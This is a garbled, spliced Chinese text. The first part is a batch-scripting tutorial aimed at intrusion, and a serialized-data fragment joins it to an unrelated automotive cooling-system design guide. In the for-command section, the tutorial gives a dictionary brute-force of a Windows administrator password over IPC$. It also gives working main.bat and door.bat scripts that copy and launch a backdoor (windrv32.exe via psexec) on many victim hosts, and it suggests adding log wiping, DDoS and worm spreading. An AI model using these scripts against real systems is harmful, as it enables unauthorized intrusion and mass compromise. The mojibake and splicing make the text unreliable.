@#@monitor.batServerIPPortNumber@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@gotoend@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:
@#@用来表示这个字母是标签,goto命令就是根据这个:
@#@来寻找下一步跳到到那里。
@#@最好有一些说明这样你别人看起来才会理解你的意图啊。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@4.Rem命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@RemMessage@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample:
@#@@RemHereisthedescr1ption.@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@5.Pause命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@运行Pause命令时,将显示下面的消息:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Pressanykeytocontinue...@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echooff@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@begin@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@copya:
@#@*.*d:
@#@back@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@echoPleaseputanewdiskintodriverA@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@pause@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@gotobegin@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@在这个例子中,驱动器A中磁盘上的所有文件均复制到d:
@#@back中。
@#@显示的注释提示您将另一张磁盘放入驱动器A时,pause命令会使程序挂起,以便您更换磁盘,然后按我饧绦怼?
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@6.Call命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。
@#@call命令接受用作调用目标的标签。
@#@如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@语法@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@call[Drive:
@#@][Path]FileName[BatchParameters][:
@#@label[arguments]@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@参数@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@[Drive:
@#@}[Path]FileName@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@指定要调用的批处理程序的位置和名称。
@#@filename参数必须具有.bat或.cmd扩展名。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@7.start命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@入侵常用参数:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@MIN开始时窗口最小化@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@SEPARATE在分开的空间内开始16位Windows程序@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@HIGH在HIGH优先级类别开始应用程序@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@REALTIME在REALTIME优先级类别开始应用程序@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@WAIT启动应用程序并等候它结束@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@parameters这些为传送到命令/程序的参数@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@执行的应用程序是32-位GUI应用程序时,CMD.EXE不等应用程序终止就返回命令提示。
@#@如果在命令脚本内执行,该新行为则不会发生。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@8.choice命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@choice使用此命令可以让用户输入一个字符,从而运行不同的命令。
@#@使用时应该加/c:
@#@参数,c:
@#@后应写提示可输入的字符,之间无空格。
@#@它的返回码为1234……@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如:
@#@choice/c:
@#@dmedefrag,mem,end@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@将显示@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@defrag,mem,end[D,M,E]?
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@Sample.bat的内容如下:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echooff@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@choice/c:
@#@dmedefrag,mem,end@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@iferrorlevel3gotodefrag(应先判断数值最高的错误码)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@iferrorlevel2gotomem@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@iferrotlevel1gotoend@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@defrag@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@c:
@#@dosdefrag@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@gotoend@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@mem@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@mem@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@gotoend@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@end@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@echogoodbye@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@此文件运行后,将显示defrag,mem,end[D,M,E]?
@#@用户可选择dme,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,文件结束。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@9.If命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@if表示将判断是否符合规定的条件,从而决定执行不同的命令。
@#@有三种格式:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@1、if"@#@参数"@#@=="@#@字符串"@#@ 待执行的命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
@#@(注意是两个等号)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如if"@#@%1"@#@=="@#@a"@#@formata:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@if{%1}=={}gotonoparms@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@if{%2}=={}gotonoparms@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@2、ifexist文件名 待执行的命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如果有指定的文件,则条件成立,运行命令,否则运行下一句。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如ifexistconfig.syseditconfig.sys@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@3、iferrorlevel/ifnoterrorlevel数字 待执行的命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如iferrorlevel2gotox2 @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@10.for命令@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@for命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@在批处理文件中使用FOR命令时,指定变量请使用%%variable@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@for{%variable|%%variable}in(set)docommand[CommandLineOptions]@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%variable指定一个单一字母可替换的参数。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@(set)指定一个或一组文件。
@#@可以使用通配符。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@command指定对每个文件执行的命令。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@command-parameters为特定命令指定参数或命令行开关。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@在批处理文件中使用FOR命令时,指定变量请使用%%variable而不要用%variable。
@#@变量名称是区分大小写的,所以%i不同于%I@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如果命令扩展名被启用,下列额外的FOR命令格式会受到支持:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/D%variableIN(set)DOcommand[command-parameters]@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/R[drive:
@#@]path]%variableIN(set)DOcommand[command-@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@检查以[drive:
@#@]path为根的目录树,指向每个目录中的FOR语句。
@#@如果在/R后没有指定目录,则使用当前目录。
@#@如果集仅为一个单点(.)字符,则枚举该目录树。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/L%variableIN(start,step,end)DOcommand[command-para@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@该集表示以增量形式从开始到结束的一个数字序列。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@因此,(1,1,5)将产生序列12345,(5,-1,1)将产生@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@序列(54321)。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F["@#@options"@#@]%variableIN(file-set)DOcommand@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F["@#@options"@#@]%variableIN("@#@string"@#@)DOcommand@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F["@#@options"@#@]%variableIN('@#@command'@#@)DOcommand@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@或者,如果有usebackq选项:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F["@#@options"@#@]%variableIN(file-set)DOcommand@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F["@#@options"@#@]%variableIN("@#@string"@#@)DOcommand@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F["@#@options"@#@]%variableIN('@#@command'@#@)DOcommand@#@ @#@ @#@ @#@ @#@ @#@filenameset为一个或多个文件名。
@#@继续到filenameset中的下一个文件之前,每份文件都已被打开、读取并经过处理。
@#@处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。
@#@然后用已找到的符号字符串变量值调用For循环。
@#@以默认方式,/F通过每个文件的每一行中分开的第一个空白符号。
@#@跳过空白行。
@#@您可通过指定可选"@#@options"@#@参数替代默认解析操作。
@#@这个带引号的字符串包括一个或多个指定不同解析选项的关键字。
@#@这些关键字为:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@eol=c-指一个行注释字符的结尾(就一个)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@skip=n-指在文件开始时忽略的行数。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@delims=xxx-指分隔符集。
@#@这个替换了空格和跳格键的默认分隔符集。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。
@#@这会导致额外变量名称的格式为一个范围。
@#@通过nth符号指定m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@usebackq-指定新语法已在下类情况中使用:
@#@在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在fi中使用双引号扩起文件名称。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@sample1:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F"@#@eol=;@#@tokens=2,3*delims=,"@#@%iin(myfile.txt)docommand@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;@#@用逗号和/或空格定界符号。
@#@请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。
@#@对于带有空格的文件名,您需要用双引号将文件名括起来。
@#@为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。
@#@您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母'@#@z'@#@或'@#@Z'@#@的变量。
@#@请记住,FOR变量是单一字母、分大小写和全局的;@#@同时不能有52个以上都在使用中。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@您还可以在相邻字符串上使用FOR/F分析逻辑;@#@方法是,用单引号将括号之间的filenameset括起来。
@#@这样,该字符串会被当作一个文件中的一个单一输入行。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@最后,您可以用FOR/F命令来分析命令的输出。
@#@方法是,将括号之间的filenameset变成一个反括字符串。
@#@该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。
@#@因此,以下例子:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@FOR/F"@#@usebackqdelims=="@#@%iIN(`set`)DO@echo%i@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@会枚举当前环境中的环境变量名称。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@另外,FOR变量参照的替换已被增强。
@#@您现在可以使用下列选项语法:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@~I-删除任何引号("@#@),扩充%I@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~fI-将%I扩充到一个完全合格的路径名@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~dI-仅将%I扩充到一个驱动器号@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~pI-仅将%I扩充到一个路径@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~nI-仅将%I扩充到一个文件名@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~xI-仅将%I扩充到一个文件扩展名@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~sI-扩充的路径只含有短名@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~aI-将%I扩充到文件的文件属性@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~tI-将%I扩充到文件的日期/时间@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~zI-将%I扩充到文件的大小@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~$PATH:
@#@I-查找列在路径环境变量的目录,并将%I扩充到找到的第一个完全合格的名称。
@#@如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@可以组合修饰符来得到多重结果:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~dpI-仅将%I扩充到一个驱动器号和路径@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~nxI-仅将%I扩充到一个文件名和扩展名@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~fsI-仅将%I扩充到一个带有短名的完整路径名@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~dp$PATH:
@#@i-查找列在路径环境变量的目录,并将%I扩充到找到的第一个驱动器号和路径。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@%~ftzaI-将%I扩充到类似输出线路的DIR@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@在以上例子中,%I和PATH可用其他有效数值代替。
@#@%~语法用一个有效的FOR变量名终止。
@#@选取类似%I的大写变量名比较易读,而且避免与不分大小写的组合键混淆。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@sample2:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@利用For命令来实现对一台目标Win2k主机的暴力密码破解。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@我们用netuse\ipipc$"@#@password"@#@/u:
@#@"@#@administrator"@#@来尝试这和目标主机进行连接,当成功时记下密码。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@最主要的命令是一条:
@#@for/fi%in(dict.txt)donetuse\ipipc$"@#@i%"@#@/u:
@#@"@#@administrator"@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@用i%来表示admin的密码,在dict.txt中这个取i%的值用netuse命令来连接。
@#@然后将程序运行结果传递给find命令--@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@for/fi%%in(dict.txt)donetuse\ipipc$"@#@i%%"@#@/u:
@#@"@#@administrator"@#@|find"@#@:
@#@命令成功完成"@#@>@#@>@#@D:
@#@ok.txt,这样就ko了。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@sample3:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@你有没有过手里有大量肉鸡等着你去种后门+木马呢?
@#@,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:
@#@)。
@#@文章开头就谈到使用批处理文件,可以简化日常或重复性任务。
@#@那么如何实现呢?
@#@呵呵,看下去你就会明白了。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@主要命令也只有一条:
@#@(在批处理文件中使用FOR命令时,指定变量使用%%variable)@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@for/f"@#@tokens=1,2,3delims="@#@%%iin(victim.txt)dostartcalldoor.bat%%i%%j%%k@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i%j%k。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@而cultivate.bat无非就是用netuse命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(Iferrorlever=)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@delims=表示vivtim.txt中的内容是一空格来分隔的。
@#@我想看到这里你也一定明白这victim.txt里的内容是什么样的了。
@#@应该根据%%i%%j%%k表示的对象来排列,一般就是ippasswordusername。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@代码雏形:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@---------------cutherethensaveasabatchfile(Icallitmain.bat)---------------------------@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echooff@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@if"@#@%1"@#@=="@#@"@#@gotousage@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@for/f"@#@tokens=1,2,3delims="@#@%%iin(victim.txt)dostartcallIPChack.bat%%i%%j%%k@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@gotoend@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@usage@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echorunthisbatchindosmodle.orjustdouble-clickit.@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@end@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@---------------cutherethensaveasabatchfile(Icallitmain.bat)---------------------------@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@-------------------cutherethensaveasabatchfile(Icallitdoor.bat)-----------------------------@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@netuse\%1ipc$%3/u:
@#@"@#@%2"@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@iferrorlevel1gotofailed@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echoTryingtoestablishtheIPC$connection…………OK@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@copywindrv32.exe\%1admin$system32&@#@&@#@ifnoterrorlevel1echoIP%1USER%2PWD%3>@#@>@#@ko.txt@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@psexec\%1c:
@#@winntsystem32windrv32.exe@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@psexec\%1netstartwindrv32&@#@&@#@ifnoterrorlevel1echo%1Backdoored>@#@>@#@ko.txt@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@failed@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echoSorrycannotconnectedtothevictim.@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@-----------------cutherethensaveasabatchfile(Icallitdoor.bat)--------------------------------@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@尚可扩展,例如:
@#@加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.@#@二.如何在批处理文件中使用参数@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@批处理中可以使用参数,一般从1%到9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@sample1:
@#@fomat.bat@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echooff@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@if"@#@%1"@#@=="@#@a"@#@formata:
@#@@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@:
@#@format@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@formata:
@#@/q/u/auotset@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@echopleaseinsertanotherdisktodriverA.@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@pause@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@gotofomat@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bata,呵呵,好像有点画蛇添足了~^_^@#@";i:
7;s:
18411:
"散热系统匹配计算分析方法@#@汽车冷却系统匹配分析计算方法@#@目录@#@一,概述……………………………………………………………….1@#@二,汽车对冷却系统的要求………………………………………….2@#@三,冷却系统选型布置…………………………………………….…2@#@四,设计计算匹配…………………………………………………….6@#@五,设计验证…………………………………………………………12@#@ @#@@#@一、概述@#@冷却系的主要功用是把受热零件吸收的部分热量及时散发出去,保证发动机在最适宜的温度状态下工作。
@#@匹配良好的冷却系统对整车的动力性,经济性都有着至关重要的作用。
@#@@#@冷却不足会导致发动机过热,产生许多不良反映:
@#@发动机过热,进气系数下降,燃烧不正常(爆燃、早燃等),机油变质和烧损,零部件摩擦和磨损加剧(如活塞、活塞环和缸套咬伤,缸盖发生热疲劳裂纹等),引起发动机的动力性、经济性、可靠性全面恶化,最明显的症状则是我们平常所见的发动机开锅。
@#@@#@冷却过度会导致发动机过冷,不良反映有:
@#@汽油机混合气形成不良,机油被燃油稀释;@#@柴油机工作粗暴,散热损失增加,零部件磨损加剧(比正常工作温度工作时大好几倍),也会使发动机工作变坏。
@#@在冬天发动机启动后需要长时间热机。
@#@最终也导致整车的燃油经济性大打折扣。
@#@@#@冷却系按照冷却介质不同可以分为风冷和水冷(图1-1),如果把发动机中高温零件的热量直接散入大气而进行冷却的装置称为风冷系。
@#@而把这些热量先传给冷却水,然后再散入大气而进行冷却的装置称为水冷系。
@#@由于水冷系冷却均匀,效果好,而且发动机运转噪音小,目前汽车发动机上广泛采用的是水冷系。
@#@@#@图1-1@#@二、汽车对冷却系统的要求@#@1、保证发动机在任何工况下工作在最佳温度范围;@#@随着发动机技术水平的提高,现在发动机的最佳工作温度也有所提高,约85~110@#@2、保证启动后发动机能在短时间内达到最佳温度范围;@#@@#@3、散热器散热效率高,可靠性好,寿命长;@#@风扇(主要是电子扇)运转可靠,噪声小,消耗功率低;@#@水泵尽量小的消耗发动机功率。
@#@@#@4、体积小,重量轻,成本低,可靠性好;@#@@#@6、拆装、维修方便。
@#@@#@三、冷却系统布置选型@#@
(一)冷却系统结构@#@1、分类:
@#@@#@液体冷却@#@蒸发冷却@#@简单蒸发冷却@#@以加注冷却液来补偿冷却介质蒸发损失的蒸发冷却。
@#@@#@带辅助水箱的蒸发冷却@#@用辅助水箱补充冷却介质的蒸发冷却。
@#@@#@带冷凝器的蒸发冷却@#@蒸发的冷却介质在冷凝器中凝结后,通。
@#@过冷却回路流回到发动机加水箱的蒸发冷却。
@#@@#@循环冷却@#@对流冷却@#@利用热虹吸作用使冷却液自然循环的冷却方式。
@#@@#@强制@#@冷却@#@开式强制冷却@#@冷却介质不进行再循环的强制。
@#@冷却方式。
@#@@#@单循环强制冷却@#@冷却介质在冷却水箱、冷却塔、管式冷却器、散热器等中进行冷却的强制冷却方式。
@#@@#@双循环强制冷却@#@利用副回路(外循环)中的冷却液在热交换器中对发动机冷却介质进行再冷却的强制冷却方式。
@#@@#@空气冷却@#@自然空气冷却@#@利用自然空气循环的冷却方式。
@#@@#@强制空气冷却@#@利用风扇迫使空气循环的冷却方式。
@#@@#@2、常用结构:
@#@冷却水强制循环冷却方式@#@主要零部件:
@#@发动机水套、水泵、节温器、散热器、风扇以及连接管路。
@#@@#@工作原理:
@#@散热器上水室兼起膨胀水箱或者补偿水箱的作用。
@#@@#@注意事项:
@#@为保证冷却系统排气顺畅,加水充分,排水彻底,散热器的上水室加水口处为冷却系统的最高点,下水室出水口为冷却系的最低点。
@#@同时,为满足发动机排气、冷却液膨胀蒸发和冷却系统补水的需要,上水室要有足够的空间。
@#@其结构如(图1)。
@#@@#@(图1)@#@
(1)带补偿水桶结构。
@#@(图2)@#@组成:
@#@发动机水路、水泵、节温器、散热器、风扇、补偿水桶以及连接管路。
@#@@#@原理:
@#@发动机温度升高后,冷却液受热膨胀,冷却系统内部压力升高,散热器压力盖出气阀开启排气。
@#@随着压力的持续升高,冷却系统内部气体排尽,冷却液开始外溢并流入补偿水桶内。
@#@当冷却液温降低后,系统内冷却液体积减小,压力下降,散热器压力盖进气阀开启,补偿水桶内的冷却液会被重新被吸回冷却系。
@#@@#@注意事项:
@#@为保证冷却系统内的气体能够全部排除,散热器的加水口及下水室应处在冷却系统(补偿水桶出外)的最高点及最低点。
@#@补偿水桶到散热器的连接管路要密封紧密。
@#@另外,补偿水桶还要有足够的容量和膨胀空间。
@#@@#@
(2)带膨胀水箱结构。
@#@(图3)@#@组成:
@#@发动机水路、水泵、节温器、散热器、风扇、膨胀水箱以及连接管路。
@#@@#@原理:
@#@膨胀水箱布置在冷却系统的最高点,系统压力盖安装在膨胀水箱上,系统直接通过膨胀水箱排气和补水。
@#@@#@注意事项:
@#@因包括膨胀水箱在内的整个系统压力一样,所以各连接管路一定要密封紧密。
@#@膨胀水箱要有足够的抗压能力和空间。
@#@散热器的最高点可以低于发动机。
@#@@#@@#@(图2)(图3)@#@注:
@#@以上结构中,发动机排气都必不可少,否则:
@#@@#@1,如排气不好,残存空气会对发动机内壁造成气蚀,影响发动机性能。
@#@@#@2,因发动机水套空气的存在导致散热不均匀,散热效果不良,最终影响发动机的正常工作。
@#@@#@3,有可能导致整车暖风不热,因暖风系统和散热系统大都是联通的,及传热,储存热量的介质都是冷却液,发动机内残存的空气很容易进入暖风系统,影响气正常工作。
@#@@#@4,影响冷却液的加注速度和加注效果,无发动机排气,防冻液加注时需多次加注才可以@#@加满。
@#@随着发动机技术的发展,发动机对冷却系统中的空气排除要求也日渐增高,@#@四、设计计算匹配@#@
(一)散热器@#@散热器是冷却系统中的重要部件,其主要作用是储存冷却液,并将冷却液携带的热量散发出去,从而降低发动机冷却液温度,最终达到发动机降温的过程。
@#@进一步保证发动机的动力性,经济性及可靠性。
@#@@#@一、散热器组成及分类@#@散热器主要由两个水室及芯体组成,主要有管片式和管带式两种。
@#@@#@型式@#@优点@#@缺点@#@管片式@#@刚度好,耐压高,芯体不易阻塞@#@制造工艺复杂@#@管带式@#@制造方便,散热效果好@#@空气阻力大@#@
(二),散热器技术参数@#@1,散热系数:
@#@因使用材料,风速,水流量不同而不同,现在主要使用铝制散热器,其传热系数在同样条件下较高,制作简单,质量小,成本低。
@#@@#@2,空气阻力:
@#@主要和芯体结构有关,主要是散热器管距及散热带波峰距,风阻越小散热器散热效率越高。
@#@@#@3,风扇功率:
@#@风扇功率越大风量越大,散热效果越好,但同时也消耗了发动机更多功率,并产生了更大的噪声。
@#@乘用车风扇现在多采用电子扇。
@#@@#@4,散热带波峰距:
@#@小的波峰距可以提供更大的散热面积,但同时也增加了散热器的风阻,反之亦然,@#@5,散热面积:
@#@散热器管,带的表面积之和。
@#@散热面积越大,散热效率越好。
@#@@#@6,迎风面积:
@#@散热器芯体正面迎风部分的面积。
@#@@#@7,压降:
@#@指在一定条件下冷却液从散热器入口流至散热器出口过程中压力的下降部分,压降与散热器结构及制作材料有关,在水泵扬程一定的条件下压降越小,散热器中冷却液流速越快,冷却效率越高。
@#@@#@(三),风扇技术参数及介绍@#@1,静不平衡量(g/m):
